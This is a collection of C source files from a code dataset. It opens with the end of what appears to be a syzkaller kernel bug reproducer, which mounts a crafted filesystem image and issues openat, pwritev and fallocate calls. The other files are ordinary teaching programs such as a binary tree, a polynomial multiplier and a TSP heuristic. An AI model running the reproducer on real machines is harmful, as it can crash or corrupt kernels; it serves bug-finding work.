"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff",
4098));
NONFAILING(*(uint64_t*)0x20000238 = 0x1002);
NONFAILING(*(uint64_t*)0x20000240 = 0x2000);
NONFAILING(*(uint64_t*)0x20000248 = 0x20000040);
NONFAILING(
memcpy((void*)0x20000040,
"\xed\x41\x00\x00\x00\x10\x00\x00\xda\xf4\x65\x5f\xdb\xf4\x65"
"\x5f\xdb\xf4\x65\x5f\x00\x00\x00\x00\x00\x00\x04\x00\x08",
29));
NONFAILING(*(uint64_t*)0x20000250 = 0x1d);
NONFAILING(*(uint64_t*)0x20000258 = 0x4100);
NONFAILING(*(uint8_t*)0x20013800 = 0);
NONFAILING(syz_mount_image(0x20000000, 0x20000100, 0x40000, 4, 0x20000200,
0, 0x20013800));
break;
case 1:
NONFAILING(memcpy((void*)0x20000000, "./file0\000", 8));
res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000000ul, 0x410481ul,
0ul);
if (res != -1)
r[0] = res;
break;
case 2:
NONFAILING(syz_mount_image(0, 0, 0, 0, 0, 0x240130, 0));
break;
case 3:
NONFAILING(*(uint64_t*)0x200014c0 = 0x20000080);
NONFAILING(memcpy((void*)0x20000080, "\xd6", 1));
NONFAILING(*(uint64_t*)0x200014c8 = 1);
syscall(__NR_pwritev, r[0], 0x200014c0ul, 1ul, 0, 0);
break;
case 4:
syscall(__NR_fallocate, r[0], 0ul, 0ul, 0xffe0ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
setup_binfmt_misc();
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/175142662.c |
#include <stdio.h>
#define K 3
int main(void){
int n,m,small,large;
printf("Giv mig 2 nummre din sæk! ");
scanf("%d%d",&n,&m);
small = n <= m ? n : m;
large = n <= m ? m : n;
printf("large = %d \nsmall = %d\n",large,small);
for ( small; small <= large; small++)
{
if (small % K == 0)
{
printf("%d \n",small);
}
}
return 0;
} |
the_stack_data/1257420.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_NAZIV 11
#define MAX_VRSTA 21
typedef struct restoran_st
{
char naziv[MAX_NAZIV];
char vrsta[MAX_VRSTA];
float ocena;
struct restoran_st *levi;
struct restoran_st *desni;
} RESTORAN;
FILE *safe_open(char *name, char *mode)
{
FILE *fp = fopen(name, mode);
if(fp == NULL)
{
printf("Fajl %s nije uspesno otvoren. \n", name);
exit(EXIT_FAILURE);
}
return fp;
}
void inicijalizacija(RESTORAN **koren)
{
*koren = NULL;
}
RESTORAN *napravi_cvor(char *naziv, char *vrsta, float ocena)
{
RESTORAN *novi = (RESTORAN *) malloc(sizeof(RESTORAN));
if(novi == NULL)
{
printf("Neuspesno zauzimanje memorije. \n");
exit(EXIT_FAILURE);
}
strcpy(novi->naziv, naziv);
strcpy(novi->vrsta, vrsta);
novi->ocena = ocena;
novi->levi = NULL;
novi->desni = NULL;
return novi;
}
void dodaj_cvor(RESTORAN **koren, RESTORAN *novi)
{
if(*koren == NULL) {
*koren = novi;
}
else {
if((*koren)->ocena > novi->ocena) {
dodaj_cvor(&(*koren)->levi, novi);
}
else if((*koren)->ocena <= novi->ocena) {
dodaj_cvor(&(*koren)->desni, novi);
}
}
}
void obrisi_stablo(RESTORAN **koren)
{
if(*koren != NULL) {
obrisi_stablo(&(*koren)->levi);
obrisi_stablo(&(*koren)->desni);
free(*koren);
*koren = NULL;
}
}
void upis_u_stablo(FILE *in, RESTORAN **koren)
{
char naziv[MAX_NAZIV];
char vrsta[MAX_VRSTA];
float ocena;
while(fscanf(in, "%s %s %f", naziv, vrsta, &ocena) != EOF)
{
RESTORAN *novi = napravi_cvor(naziv, vrsta, ocena);
dodaj_cvor(koren, novi);
}
}
void ispis_iz_stabla(FILE *out, RESTORAN *koren)
{
if(koren != NULL)
{
ispis_iz_stabla(out, koren->desni);
fprintf(out, "%3.1f %-10s %s\n", koren->ocena, koren->naziv, koren->vrsta);
ispis_iz_stabla(out, koren->levi);
}
}
void pronadji_najgori(FILE* out, RESTORAN *koren) {
if(koren->levi == NULL) {
fprintf(out, "\nNajgore ocenjen restoran u gradu je:\n");
fprintf(out, "%f %s %s\n", koren->ocena, koren->naziv, koren->vrsta);
}
else {
pronadji_najgori(out, koren->levi);
}
}
int main(int argbr, char *args[])
{
if(argbr != 3)
{
printf("Niste dobro uneli argumente (Izlazna i ulazna datoteka). \n");
exit(EXIT_FAILURE);
}
FILE *in = safe_open(args[1], "r"), *out = safe_open(args[2], "w");
RESTORAN *koren;
inicijalizacija(&koren);
upis_u_stablo(in, &koren);
fclose(in);
ispis_iz_stabla(out, koren);
pronadji_najgori(out, koren);
fclose(out);
obrisi_stablo(&koren);
return EXIT_SUCCESS;
} |
the_stack_data/146118.c | /*numPass=0, numTotal=4
Verdict:WRONG_ANSWER, Visibility:1, Input:"2 2
3 1 -5
0 -2 4
", ExpOutput:"4
0 -6 10 14 -20 ", Output:"-20 14 10 -6 0 "
Verdict:WRONG_ANSWER, Visibility:1, Input:"5 4
2 -4 4 3 -1 6
1 -2 -5 2 4
", ExpOutput:"9
2 -8 2 19 -27 -15 15 -20 8 24 ", Output:"24 8 -20 15 -15 -27 19 2 -8 2 "
Verdict:WRONG_ANSWER, Visibility:1, Input:"15 15
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", ExpOutput:"30
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 ", Output:"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 "
Verdict:WRONG_ANSWER, Visibility:0, Input:"10 10
100 100 -200 -300 421 535 125 -235 122 -555 99
100 100 -200 -300 421 535 125 -235 122 -555 99
", ExpOutput:"20
10000 20000 -30000 -100000 64200 311200 53600 -488600 -216359 382870 392475 104480 160299 -454920 -424767 -90160 300484 -181950 332181 -109890 9801 ", Output:"9801 -109890 332181 -181950 300484 -90160 -424767 -454920 160299 104480 392475 382870 -216359 -488600 53600 311200 64200 -100000 -30000 20000 10000 "
*/
#include <stdio.h>
int prod[30];
int poly_n1[15],poly_n2[15];
int multiply_poly(int n1,int n2);
int print_poly(int n);
int main() {
int n1,n2;
scanf("%d %d",&n1,&n2);
int i;
for(i=0;i<=n1;i++)
{
scanf("%d ",&poly_n1[i]);
}
for(i=0;i<=n2;i++)
{
scanf("%d ",&poly_n2[i]);
}
multiply_poly(n1,n2);
print_poly(n1+n2);
return 0;
}
int multiply_poly(int n1,int n2)
{
int i,j;
for(i=0;i<30;i++)
prod[i]=0;
for(i=0;i<=n1;i++)
{
for(j=0;j<=n2;j++)
{
prod[i+j]=prod[i+j]+poly_n1[i]*poly_n2[j];
}
}
return 0;
}
int print_poly(int n)
{
int i;
for(i=n;i>=0;i--)
printf("%d ",prod[i]);
return 0;
} |
the_stack_data/88521.c | #include <stdio.h>
void main()
{
int N = 9, M = 4, ia = 0, ib = 0, ic = 0, i;
int A[] = {1, 3, 5, 7, 8, 9, 12, 17, 23};
int B[] = {2, 6, 10, 13};
int C[10];
while (ia < N && ib < M)
{
if (A[ia] > B[ib])
{
C[ic] = B[ib];
ib++;
ic++;
}
else
{
C[ic] = A[ia];
ia++;
ic++;
}
}
while (ib < M)
{
C[ic] = B[ib];
ib++;
ic++;
}
while (ia < N)
{
C[ic] = A[ia];
ia++;
ic++;
}
for (i = 0; i < N + M; i++)
{
printf("%d ", C[i]);
}
} |
the_stack_data/61075567.c | /*
* IEEE 802.15.4 socket example
*
* Copyright (C) 2016 Samsung Electronics Co., Ltd.
*
* Author: Stefan Schmidt <[email protected]>
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/* gcc af_ieee802154_rx.c -o af_ieee802154_rx */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#define IEEE802154_ADDR_LEN 8
#define MAX_PACKET_LEN 127
#define EXTENDED 1
enum {
IEEE802154_ADDR_NONE = 0x0,
IEEE802154_ADDR_SHORT = 0x2,
IEEE802154_ADDR_LONG = 0x3,
};
struct ieee802154_addr_sa {
int addr_type;
uint16_t pan_id;
union {
uint8_t hwaddr[IEEE802154_ADDR_LEN];
uint16_t short_addr;
};
};
struct sockaddr_ieee802154 {
sa_family_t family;
struct ieee802154_addr_sa addr;
};
int main(int argc, char *argv[]) {
int ret, sd;
struct sockaddr_ieee802154 src, dst;
unsigned char buf[MAX_PACKET_LEN + 1];
socklen_t addrlen;
/* IEEE 802.15.4 extended address to receive frames on, adapt to your setup */
uint8_t long_addr[IEEE802154_ADDR_LEN] = {0xd6, 0x55, 0x2c, 0xd6, 0xe4, 0x1c, 0xeb, 0x57};
/* Create IEEE 802.15.4 address family socket for the SOCK_DGRAM type */
sd = socket(PF_IEEE802154, SOCK_DGRAM, 0);
if (sd < 0) {
perror("socket");
return 1;
}
/* Prepare source socket address struct */
memset(&src, 0, sizeof(src));
src.family = AF_IEEE802154;
/* Used PAN ID is 0x23 here, adapt to your setup */
src.addr.pan_id = 0x0023;
#if EXTENDED /* IEEE 802.15.4 extended address usage */
src.addr.addr_type = IEEE802154_ADDR_LONG;
memcpy(&src.addr.hwaddr, &long_addr, IEEE802154_ADDR_LEN);
#else
src.addr.addr_type = IEEE802154_ADDR_SHORT;
src.addr.short_addr = 0x0002;
#endif
/* Bind socket on this side */
ret = bind(sd, (struct sockaddr *)&src, sizeof(src));
if (ret) {
perror("bind");
close(sd);
return 1;
}
addrlen = sizeof(dst);
/* Infinite loop receiving 802.15.4 frames and print out */
while (1) {
ret = recvfrom(sd, buf, MAX_PACKET_LEN, 0, (struct sockaddr *)&dst, &addrlen);
if (ret < 0) {
perror("recvfrom");
continue;
}
buf[ret] = '\0';
#if EXTENDED
printf("Received (from %s): %s\n", dst.addr.hwaddr, buf);
#else
printf("Received (from %x): %s\n", dst.addr.short_addr, buf);
#endif
}
shutdown(sd, SHUT_RDWR);
close(sd);
return 0;
}
|
the_stack_data/248581994.c | typedef int tint;
int main()
{
tint a = 2;
int b = 3;
assert(a == 2, "a != 2");
assert(b == 3, "b != 3");
return 0;
}
|
the_stack_data/20450295.c |
int main(void)
{
int a = 1;
/* OK, this is really ugly, but C supports it */
switch(a) {
if (a > 0) {
case 1:
a = 4;
break;
case 2:
a = 2;
break;
} else {
case -3:
a = 3;
break;
case -4:
a = 8;
break;
}
default:
a = 3;
}
test_assert(a == 4);
return 0;
}
|
the_stack_data/68067.c | // BitManipulation.c |
the_stack_data/147290.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
/*
Talune funzioni della libreria standard adottano un intero positivo per
indicare un eventuale errore nel comportamento della funzione, il relativo
codice di errore va a collocarsi nella variabile 'errno'.
Da notare che in linea di massima sia le funzioni della libreria standard sia
le system call adottano dei valori generici atti ad indicare lo stato di
errore, ossia '-1', 'NULL' ed 'EOF', ma in questi casi si comprende solo
l'occorrenza di un errore, ignorandone del tutto la natura.
Il compito della variabile 'errno', associata a specifiche macro definite in
errno.h, e' di fornire il tipo di errore occorso; tali macro iniziano con il
carattere 'E', e sono a tutti gli effetti dei nomi riservati.
*/
int main(int argc, char** argv)
{
int fd, my_err;
errno = 0;
/* All'inizio di una chiamata la variabile 'errno' e' impostato a 0, per
cui ogni altro valore indichera' un codice di errore */
if ((fd = open("/dubito/che/esista/questo/file", O_RDONLY)) < 0) {
my_err = errno;
if (my_err != 0) {
fprintf(stderr, "Err.:(%d) Il file non esiste\n", errno);
exit(my_err);
}
exit(EXIT_FAILURE);
}
/* Si potrebbe uscire dal programma fornendo alla funzione exit() il
parametro 'errno'; il codice di uscita del programma peraltro si potra'
verificare dalla shell mediante il classico `echo $?`. Tale pratica
tuttavia non e' consigliata.
Non tutte le funzioni o le system call salvano un codice di errore nella
variiabile 'errno', per cui e' necessario porre particolare attenzione. */
close(fd);
return (EXIT_SUCCESS);
}
|
the_stack_data/23574825.c | /*
Description:
This program executes my implementation of the "Heinritz Hsiao" algorithm to solve the "Travelling Salesman Problem"
Next city in path is always the closest and not visited one
Abides by Lab 3 Exercise 3 requirements
Author:
Georgios Evangelou (1046900)
Year: 5
Parallel Programming in Machine Learning Problems
Electrical and Computer Engineering Department, University of Patras
System Specifications:
CPU: AMD Ryzen 2600 (6 cores/12 threads, @3.8 GHz, 6786.23 bogomips)
GPU: Nvidia GTX 1050 (dual-fan, overclocked)
RAM: 8GB (dual-channel, @2666 MHz)
Version Notes:
Compiles/Runs/Debugs with: gcc tsp_hh02.c -o tsp_hh02 -lm -O3 -pg && time ./tsp_hh02 && gprof ./tsp_hh02
Executes the algorithm for 10.000 cities, spanning in an area of 1.000x1.000 km and produces correct results
Inherits all settings of the previous version unless stated otherwise
Next city in path is always the closest and not visited one
Needs: ~ 11 minutes 05 seconds to calculate the shortest steps path using 01 thread and no optimizations
~ 01 minutes 29 seconds to calculate the shortest steps path using 01 thread and -O3
~ 01 minutes 27 seconds to calculate the shortest steps path using 01 thread and all optimizations listed below
*/
// ****************************************************************************************************************
#pragma GCC optimize("O3","unroll-loops","omit-frame-pointer","inline") //Apply O3 and extra optimizations
#pragma GCC option("arch=native","tune=native","no-zero-upper") //Adapt to the current system
#pragma GCC target("avx") //Enable AVX
// ****************************************************************************************************************
#include "stdio.h"
#include "stdlib.h"
#include "math.h"
// ****************************************************************************************************************
#define N 10000
#define Nx 1000
#define Ny 1000
#define nonExist -999999
// ****************************************************************************************************************
float CitiesX[N];
float CitiesY[N];
int Path[N+1];
double CalculatedDistances[N][N];
// ****************************************************************************************************************
// Initializes the cities' positions
// ****************************************************************************************************************
void SetCities() {
printf("Now initializing the positions of the cities...\n");
for (int i=0; i<N; i++) {
CitiesX[i] = Nx * (float) rand() / RAND_MAX;
CitiesY[i] = Ny * (float) rand() / RAND_MAX;
}
}
// ****************************************************************************************************************
// Checks if a city is already in the path (until path[currentPathLength])
// ****************************************************************************************************************
int IsInPath2(int city, int currentPathLength) {
for (int i=0; i<currentPathLength; i++)
if (Path[i] == city) return 1;
return 0;
}
// ****************************************************************************************************************
// Prints the cities' positions
// ****************************************************************************************************************
void PrintCities() {
printf("> The cities are:\n");
for (int i=0; i<N; i++) {
printf(">> City: %6d X:%5.2f Y:%5.2f\n", i, CitiesX[i], CitiesY[i] );
}
printf("\n");
}
// ****************************************************************************************************************
// Prints the travelling path
// ****************************************************************************************************************
void PrintPath() {
printf("> The path is:\n");
for (int i=0; i<N+1; i++) {
printf(">> %d ", Path[i]);
}
printf("\n");
}
// ****************************************************************************************************************
// Visually maps the cities' positions
// ****************************************************************************************************************
void MapCities() {
int Map[Ny+1][Nx+1];
printf("Now creating a visual map of the cities...\n");
for (int i=0; i<Nx+1; i++)
for (int j=0; j<Ny+1; j++)
Map[j][i] = (float) nonExist;
//printf("Quantized coordinates are:\n");
for (int c=0; c<N; c++) {
int x = (int) CitiesX[c] ;
int y = (int) CitiesY[c] ;
//printf(" City:%d y=%d and x=%d\n",c,y,x);
if (Map[y][x] == nonExist) Map[y][x] = c;
else Map[y][x] = -1;
}
printf("This is the cities' map:\n");
printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
for (int y=0; y<Ny+1; y++){
for (int x=0; x<Nx+1; x++)
printf("%8d ", Map[y][x]);
printf("\n");
}
printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
printf("\n");
}
// ****************************************************************************************************************
// Finds Euclidean distance between two cities
// ****************************************************************************************************************
double Distance(int A, int B) {
return (double) sqrt( (CitiesX[A]-CitiesX[B])*(CitiesX[A]-CitiesX[B]) + (CitiesY[A]-CitiesY[B])*(CitiesY[A]-CitiesY[B]) );
}
// ****************************************************************************************************************
// Finds Eucleidian distance in current path
// ****************************************************************************************************************
double PathDistance() {
double totDist = 0.0;
for (int i=0; i<N; i++) {
totDist += Distance(Path[i], Path[i+1]);
}
totDist += Distance(Path[N], Path[0]);
return totDist;
}
// ****************************************************************************************************************
// Finds all Eucleidian distances between all pairs of cities
// ****************************************************************************************************************
void CalculateAllDistances() {
printf("Now calculating distances between all pairs of cities...\n");
for (int i=0; i<N; i++) {
printf("\r> Progress: %.2f%%", 100*(i+1)/((float)N));
for (int j=i+1; j<N; j++) {
double temp = Distance(i, j);
CalculatedDistances[i][j] = temp;
CalculatedDistances[j][i] = temp;
}
}
printf(" ===> Completed.\n");
}
// ****************************************************************************************************************
// Finds the travelling path by visiting the closest non-visited city each time
// ****************************************************************************************************************
double FindShortestStepPath() {
printf("Now finding the shortest step path...\n");
double totDist = 0.0;
int visited_cities = 1, current_city = 0;
Path[0] = 0; Path[N] = 0;
do {
printf("\r> Progress: %.2f%%", 100*(visited_cities+1)/((float)N));
double dist = 0, min_dist = INFINITY;
int closest_city = -1;
for (int i=0; i<N; i++) {
if (IsInPath2(i, visited_cities)) continue; //If we are trying to access current city or a visited one, go to next
dist = CalculatedDistances[current_city][i];
if (min_dist > dist) {
min_dist = dist;
closest_city = i;
}
}
Path[visited_cities++] = closest_city;
totDist += min_dist;
current_city = closest_city;
} while (visited_cities<N);
printf(" ===> Completed.\n");
totDist += CalculatedDistances[Path[N-1]][0];
return totDist;
}
// ****************************************************************************************************************
// The main program
// ****************************************************************************************************************
int main( int argc, const char* argv[] ) {
printf("------------------------------------------------------------------------------\n");
printf("This program searches for the optimal traveling distance between %d cities,\n", N);
printf("spanning in an area of X=(0,%d) and Y=(0,%d)\n", Nx, Ny);
printf("------------------------------------------------------------------------------\n");
srand(1046900);
SetCities();
CalculateAllDistances();
double totDistEstimation = FindShortestStepPath();
printf("\n");
printf("Estimated Total path distance is: %.2lf\n", totDistEstimation);
printf("Exact Total path distance is: %.2lf\n", PathDistance());
return 0 ;
}
|
the_stack_data/36073993.c | /* Test visibility attribute on definition of a function that has
already had a forward declaration. */
/* { dg-do compile } */
/* { dg-require-visibility "" } */
/* { dg-final { scan-hidden "foo" } } */
void foo();
void
__attribute__((visibility ("hidden")))
foo()
{ }
|
the_stack_data/170452200.c | #include <stdio.h>
double getAnswer();
int getFac();
double getPow();
int main() {
double i;
for (i = 0.1; i <= 1.0; i = i + 0.1){
printf("Voor de waarde %0.1f is de uitkomst: %f \n", i, getAnswer(i));
}
return 0;
}
double getAnswer(double x) {
double total = 0.0f;
int n;
for (n = 0; n <= 10; n++) {
total += getPow(x, n) / getFac(n);
}
return(total);
}
double getPow(double x, int n) {
double total = x;
if (n == 0)
return 0.0f;
for (int i = 1; i < n; i++) {
total *= x;
}
return total;
}
int getFac(int n) {
int total = n;
if (n == 0)
return 1;
for (int i = n - 1; i > 0; i--){
total *= i;
}
return total;
}
|
the_stack_data/212643902.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <math.h>
#include <time.h>
#define N 6
/* Puzzle description
* NxN matrix M, of 0s and 1s
* Transition operator T(i, j): flip bit at M[i, j], M[i-1, j], M[i+1, j], M[i, j-1], M[i, j+1] wherever applicable
* Initial and goal state can vary, but are all 0s and all 1s respectively in this case
*/
// define a node, representing one puzzle state
typedef struct Node {
short matrix[N][N];
struct Node* parent;
int parent_transition[2];
short (*final_state)[N][N];
int depth;
} Node;
// ##QUEUE##
// define a queue element
typedef struct QueueElement {
Node* node;
struct QueueElement* prev;
} QueueElement;
// define a queue
typedef struct Queue {
QueueElement* head;
QueueElement* tail;
} Queue;
void queue_push(Queue* queue, Node* new_node) {
QueueElement* new_element = (QueueElement*) malloc(sizeof(QueueElement));
new_element->node = new_node;
new_element->prev = NULL;
if (queue->head == NULL) {
queue->head = new_element;
queue->tail = new_element;
return;
}
queue->tail->prev = new_element;
queue->tail = new_element;
}
Node* queue_pop(Queue* queue) {
if (queue->head == NULL) {
return NULL;
}
Node* popped = queue->head->node;
QueueElement* tmp = queue->head;
queue->head = queue->head->prev;
free(tmp);
return popped;
}
// ##BINARY MIN HEAP##
// define a heap element
// contains node, and value given to node by a heuristic function
typedef struct HeapElement {
Node* node;
int hval;
} HeapElement;
// define a heap
// h is the heuristic function to be used on its elements to find their hval
typedef struct Heap {
HeapElement* arr;
int curr_size;
int max_size;
int (*h)(Node* n);
} Heap;
// Initialize a new heap
Heap* init_heap(int (*h)(Node* n)) {
Heap* heap = (Heap*) malloc(sizeof(Heap));
heap->curr_size = 0;
heap->max_size = 16;
heap->arr = (HeapElement*) malloc(sizeof(HeapElement)*heap->max_size);
heap->h = h;
}
Heap* delete_heap(Heap* heap) {
free(heap->arr);
free(heap);
}
int heap_parent(int index) {
return (index-1) / 2;
}
int heap_right_child(int index) {
return 2*index+2;
}
int heap_left_child(int index) {
return 2*index+1;
}
// Heapify up method
void heapify_up(Heap* heap, int index) {
if (!index) {
return;
}
int parent_index = heap_parent(index);
if (heap->arr[index].hval < heap->arr[parent_index].hval) {
